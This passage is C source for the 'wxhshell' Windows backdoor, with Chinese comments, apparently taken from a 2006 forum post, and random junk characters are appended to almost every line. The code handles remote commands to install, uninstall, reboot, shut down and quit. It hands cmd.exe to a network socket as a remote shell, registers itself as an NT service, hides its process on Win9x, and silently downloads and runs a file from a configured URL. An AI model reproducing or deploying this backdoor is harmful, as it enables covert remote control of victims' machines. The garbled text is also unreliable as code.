  case '?': { J2qsZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (1z"=NCp  
    break; ]({ -vG\m  
  } 5qrD~D '  
  // 安装 b^HDN(v  
  case 'i': { \=0;EI-j  
    if(Install()) ]1++$Ej  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )|*Qs${tF  
    else d7^ `  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |5vcT, A  
    break; <ww D*t  
    } c+l1 l0BA  
  // 卸载 ZuGSRGX'  
  case 'r': { KZ2[.[(Ph  
    if(Uninstall()) 3A,N1OXG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WRZpu95v  
    else }sxs-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +Q+O$-a <  
    break; _&l8^MD  
    } ~IZ-:?+S^  
  // 显示 wxhshell 所在路径 I<2`wL=  
  case 'p': { ?J2{6,}O*.  
    char svExeFile[MAX_PATH]; Xy(QK2|  
    strcpy(svExeFile,"\n\r"); c=u+X` Q  
      strcat(svExeFile,ExeFile); 4 $R!)  
        send(wsh,svExeFile,strlen(svExeFile),0); [#GBn0BG)  
    break; 3uYLA4[-B  
    } =G}a%)?As\  
  // 重启 [ bnu DS  
  case 'b': { \~#\ [r_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z8=?Hu  
    if(Boot(REBOOT)) b%lB&}uw}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HwFg;r  
    else { TFkG"ev  
    closesocket(wsh); ) k/&,J3  
    ExitThread(0); 0#NMNZ  
    } QD.5o S  
    break; =OK#5r[UV  
    } k5< n:dS  
  // 关机 -o+t&m  
  case 'd': { P' VHga  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )>M L7y  
    if(Boot(SHUTDOWN)) &m--}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5x@ U<  
    else { A'w+Lc.2  
    closesocket(wsh); "c[>>t  
    ExitThread(0); 4(\1z6?D  
    } :Ak^M~6a5  
    break; !5dn7Wuj  
    } L9/'zhiZBx  
  // 获取shell ZJ{DW4#t  
  case 's': { SGl|{+(A  
    CmdShell(wsh); U)kyq  
    closesocket(wsh); mH,s!6j?Vp  
    ExitThread(0); 4>(K~v5;N  
    break; Mg\588cI  
  } #m|el@)  
  // 退出 9,fV  
  case 'x': { Mzg'$]N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MNs<yQ9I'  
    CloseIt(wsh); ai;!Q%B#Q  
    break; l]|&j`'O  
    } bpsyO>lx/  
  // 离开 G5qsnTxUJ  
  case 'q': { Lx- %y'P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8nI~iN?"   
    closesocket(wsh); [g}^{ $`  
    WSACleanup(); N,w6  
    exit(1); q<\r}1Dm  
    break; +_:p8, 5o  
        } |!K&h(J|  
  } |6NvByc,  
  } :vi %7  
]/ !*^;cY(  
  // 提示信息 Q+f |.0r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !}c D e12  
} @16y%]Q-E#  
  } IRM jL.q  
%enJ[a%Qg  
  return; ` .`:~_OE  
} ]}SV%*{ %  
s;h`n$  
// shell模块句柄 f@Mku0VT  
int CmdShell(SOCKET sock) PE7V1U#$o,  
{ (NUXK  
STARTUPINFO si; +]t9kr  
ZeroMemory(&si,sizeof(si)); >kAJS??  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1%M^MT%&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4`~OxL  
PROCESS_INFORMATION ProcessInfo; R@WW@ Of  
char cmdline[]="cmd"; /,7#%D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'q9Ejig  
  return 0; ] Q^8 9?  
} ])pX)(a  
R&s/s`pLW  
// 自身启动模式 lU|ltnU  
int StartFromService(void) 6Hc25NuQZ  
{ 7# 'j>]  
typedef struct Uj 3{c  
{ F4(;O7j9  
  DWORD ExitStatus; &[\zs&[@y  
  DWORD PebBaseAddress; &>B|?d  
  DWORD AffinityMask; _6FDuCVD-  
  DWORD BasePriority; *RkvM?o@jC  
  ULONG UniqueProcessId; ~=wBF  
  ULONG InheritedFromUniqueProcessId; ,S(_YS^m  
}   PROCESS_BASIC_INFORMATION; w}}+8mk[  
tc;$7F ;  
PROCNTQSIP NtQueryInformationProcess; .*k!Zl*  
;2 o{ 6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JF &$'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hW,GsJ,  
\^F6)COy  
  HANDLE             hProcess; 0jp y c  
  PROCESS_BASIC_INFORMATION pbi; ;F_&h#D]3  
^R\5'9K!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e /XOmv  
  if(NULL == hInst ) return 0; Kc9)Lzu+  
o\j<EQb.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9LQy 0Gx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X pXhg*}K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j@JY-^~K5  
-eSI"To L<  
  if (!NtQueryInformationProcess) return 0; ]H:K$nmX  
i\36 s$\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [u3^R]  
  if(!hProcess) return 0; xT9+l1_  
[t^%d9@t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n=fR%<v  
,38bT#p:,r  
  CloseHandle(hProcess); <.7W:s,f=  
f2|On6/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  4z|Yfvq  
if(hProcess==NULL) return 0; Y!E| X 3  
1?+)T%"  
HMODULE hMod; Z?",+|4  
char procName[255]; '.&,.E&{$  
unsigned long cbNeeded; y(#F&^|  
hYCyc -W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /`x|-9  
7f=9(Zj  
  CloseHandle(hProcess); -JF|770i  
\No22Je6d  
if(strstr(procName,"services")) return 1; // 以服务启动 A[d'*n[  
] )x z  
  return 0; // 注册表启动 Iq": U  
} 6a`_i  
kLY9#p=X  
// 主模块 \t&6$"n(B6  
int StartWxhshell(LPSTR lpCmdLine) !as<UH"\  
{ sEfGf.  
  SOCKET wsl; xcIZ'V  
BOOL val=TRUE; ^?[^o\/@R  
  int port=0; Z42v@?R.!W  
  struct sockaddr_in door; Z@iMG  
&4MVk3SLx#  
  if(wscfg.ws_autoins) Install(); : [vp.vw}/  
h$zPQ""8  
port=atoi(lpCmdLine); [dL?N  
-p !KsU  
if(port<=0) port=wscfg.ws_port; Tf[-8H<  
M/sqOhg  
  WSADATA data; d0Kg,HB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a( {`<F  
&<i>)Ss  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U7fE6&g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g?o$:>c  
  door.sin_family = AF_INET; >|I3h5\M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;/{Q4X{  
  door.sin_port = htons(port); I0jEhg%JZ  
Iei4yDv ;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LRd,7P  
closesocket(wsl); XWy iS\  
return 1; 7erao-  
} <ct{D|mm  
U14dQ=~b/  
  if(listen(wsl,2) == INVALID_SOCKET) { LveqG   
closesocket(wsl); +Vf|YLbhJ  
return 1; v <Ze$^ e&  
} $v oyXi`*  
  Wxhshell(wsl); +#H8d1^5  
  WSACleanup(); B 9Mwj:)}  
$kz5)vj "  
return 0; ~O 6~',KD  
K6oX nz}  
} @x J^JcE  
fAUsJ[  
// 以NT服务方式启动 s* YFN#Wuc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ujWHO$uz!  
{ u#UeJu O  
DWORD   status = 0; et ~gO!1:*  
  DWORD   specificError = 0xfffffff; ta6 WZu  
;^8^L'7cr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h+^T);h};|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n0i&P9@B1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Tk2kis(n  
  serviceStatus.dwWin32ExitCode     = 0; m[7:p{  
  serviceStatus.dwServiceSpecificExitCode = 0; 0 De M  
  serviceStatus.dwCheckPoint       = 0; EIEq[`h  
  serviceStatus.dwWaitHint       = 0; E;d 5$  
tx1jBh:e=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z|?R=;,u`  
  if (hServiceStatusHandle==0) return; coFg69\^  
O`0$pn  
status = GetLastError(); I~qiF%?d  
  if (status!=NO_ERROR) DVcu*UVw  
{ n)7icSc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v_@_J!s  
    serviceStatus.dwCheckPoint       = 0; 6uXYZ.A  
    serviceStatus.dwWaitHint       = 0; S'JeA>L  
    serviceStatus.dwWin32ExitCode     = status; KE&}*Nf[  
    serviceStatus.dwServiceSpecificExitCode = specificError; o%QQ7S3 P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); HgBg,1  
    return; -pGt ;  
  } _~(Xd@c(  
:{ T#M$T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3ElpS^ 2W  
  serviceStatus.dwCheckPoint       = 0; .- Lqo=o\  
  serviceStatus.dwWaitHint       = 0; n1/lE)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Wkk Nyg,  
} 1;gSf.naG  
&"h!SkX/  
// 处理NT服务事件,比如:启动、停止 ,< icW &a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uWInx6p  
{ QPcB_wUqu  
switch(fdwControl) kZ.3\  
{ )IhY&?jk?  
case SERVICE_CONTROL_STOP: GDB>!ukg  
  serviceStatus.dwWin32ExitCode = 0; U44H/5/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )x7hhEk=^  
  serviceStatus.dwCheckPoint   = 0; *vO'Z &  
  serviceStatus.dwWaitHint     = 0; oX4uRc7wR  
  { GKtQ>39B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;2|H6IN"  
  } /_a *C.a6  
  return; L-R}O 8  
case SERVICE_CONTROL_PAUSE: ] zY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FOA%( 5$4  
  break; Wu&Di8GhP  
case SERVICE_CONTROL_CONTINUE: M<srJ8|'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w1_Ux<RF  
  break; K)@}Ok"#\4  
case SERVICE_CONTROL_INTERROGATE: WLl9>v^1  
  break; pzr-}>xrZ  
}; !~l%6Z5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zNf5OItx  
} UIj/Id  
dZgfls  
// 标准应用程序主函数 6 {Z\cwP)c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x+e _pb   
{ yMkd|1  
s- V$N  
// 获取操作系统版本 ,AM-cwwT:u  
OsIsNt=GetOsVer(); eFI4(Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P.B'Gh#^  
]c2| m}I{:  
  // 从命令行安装 OJ 5 !+#>  
  if(strpbrk(lpCmdLine,"iI")) Install(); mD)O\.uA  
2AW{qwk7  
  // 下载执行文件 q_&IZ,{Vk  
if(wscfg.ws_downexe) { *~uuCLv_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) { bn#:75r  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3p W MS&  
} AZy2Pu56  
[]0~9,u  
if(!OsIsNt) { 1[`<JCFClc  
// 如果时win9x,隐藏进程并且设置为注册表启动 <;e#"(7  
HideProc(); XE*bRTEw  
StartWxhshell(lpCmdLine); *^Y0}?]qT  
} PWu2;JF  
else ZG<!^tj  
  if(StartFromService()) pd3&AsU  
  // 以服务方式启动  Vb 9N~v  
  StartServiceCtrlDispatcher(DispatchTable); RA I&;"  
else :Qo  
  // 普通方式启动 3rg^R"&  
  StartWxhshell(lpCmdLine); ji -1yX  
8k^y.B  
return 0; ~{G: ,|`  
}
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只看该作者 1 发表于: 2006-10-10
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